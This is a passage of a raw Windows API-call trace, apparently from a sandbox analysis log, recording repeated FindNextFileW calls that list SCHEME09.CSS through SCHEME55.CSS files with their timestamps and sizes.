cFileName="SCHEME09.CSS", cAlternateFileName="")) returned 1 [0069.618] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x233e6c00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x233e6c00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x2072a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME10.CSS", cAlternateFileName="")) returned 1 [0069.618] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x220d3f00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x220d3f00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x20030, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME11.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20dc1200, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20dc1200, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1e09a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME12.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1faae500, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1faae500, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1ec9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME13.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1faae500, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1faae500, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f5cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME14.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e79b800, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e79b800, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1e094, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME15.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d488b00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d488b00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f822, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME16.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c175e00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c175e00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1eada, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME17.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ae63100, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ae63100, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x20438, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME18.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19b50400, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b50400, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1fff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME19.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1883d700, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1883d700, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f6f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME20.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1752aa00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1752aa00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1eae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME21.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f05000, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f05000, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1fcca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME22.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bf2300, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13bf2300, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f5fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME23.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128df600, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x128df600, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1ee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME24.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x115cc900, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x115cc900, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1fcee, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME25.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x115cc900, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x115cc900, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1d1b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME26.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefa6f00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefa6f00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1e088, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME27.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefa6f00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefa6f00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1d754, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME28.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb66e800, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb66e800, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1eb4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME29.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa35bb00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa35bb00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1d522, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME30.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff7b2600, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff7b2600, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1d652, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME31.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fda00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43fda00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1eb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME32.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8755100, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8755100, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1dcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME33.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eebe900, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9eebe900, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1d124, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME34.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce4c100, ftCreationTime.dwHighDateTime=0x1c69a52, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ce4c100, ftLastWriteTime.dwHighDateTime=0x1c69a52, nFileSizeHigh=0x0, nFileSizeLow=0x202f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME35.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94315400, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94315400, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1e12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME36.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ad35f00, ftCreationTime.dwHighDateTime=0x1c69a52, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ad35f00, ftLastWriteTime.dwHighDateTime=0x1c69a52, nFileSizeHigh=0x0, nFileSizeLow=0x205bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME37.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8380de00, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8380de00, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1f07c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME38.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7532c200, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7532c200, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1e44c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME39.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cda8700, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cda8700, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1eb4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME40.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x621ff200, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x621ff200, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1e958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME41.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56343000, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56343000, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1d920, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME42.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47e61400, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47e61400, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1e714, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME43.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37359e00, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37359e00, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1ecfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME44.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c7b0900, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c7b0900, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1e6a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME45.CSS", cAlternateFileName="")) returned 1 [0069.619] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cfbc000, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cfbc000, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1fdb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME46.CSS", cAlternateFileName="")) returned 1 [0069.620] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a38500, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a38500, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1f190, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME47.CSS", cAlternateFileName="")) returned 1 [0069.620] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7869600, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7869600, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1f984, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME48.CSS", cAlternateFileName="")) returned 1 [0069.620] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa69a700, ftCreationTime.dwHighDateTime=0x1ca1577, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa69a700, ftLastWriteTime.dwHighDateTime=0x1ca1577, nFileSizeHigh=0x0, nFileSizeLow=0x1da6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME49.CSS", cAlternateFileName="")) returned 1 [0069.620] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e03f00, ftCreationTime.dwHighDateTime=0x1ca1577, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0e03f00, ftLastWriteTime.dwHighDateTime=0x1ca1577, nFileSizeHigh=0x0, nFileSizeLow=0x1f018, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME50.CSS", cAlternateFileName="")) returned 1 [0069.620] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1922be00, ftCreationTime.dwHighDateTime=0x1c69a7b, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1922be00, ftLastWriteTime.dwHighDateTime=0x1c69a7b, nFileSizeHigh=0x0, nFileSizeLow=0x1df68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME51.CSS", cAlternateFileName="")) returned 1 [0069.620] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1ce8a00, ftCreationTime.dwHighDateTime=0x1c69651, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1ce8a00, ftLastWriteTime.dwHighDateTime=0x1c69651, nFileSizeHigh=0x0, nFileSizeLow=0x1e254, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME52.CSS", cAlternateFileName="")) returned 1 [0069.620] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74d95100, ftCreationTime.dwHighDateTime=0x1c69a53, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74d95100, ftLastWriteTime.dwHighDateTime=0x1c69a53, nFileSizeHigh=0x0, nFileSizeLow=0x1e6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME53.CSS", cAlternateFileName="")) returned 1 [0069.620] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c1eb00, ftCreationTime.dwHighDateTime=0x1c69597, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67c1eb00, ftLastWriteTime.dwHighDateTime=0x1c69597, nFileSizeHigh=0x0, nFileSizeLow=0x1f064, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME54.CSS", cAlternateFileName="")) returned 1 [0069.620] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f2a2e00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f2a2e00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1e114, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME55.CSS", cAlternateFileName="")) returned 1 [0069.620] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f2a2e00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f2a2e00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1e114, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME55.CSS", cAlternateFileName="")) returned 0 [0069.620] GetLastError () returned 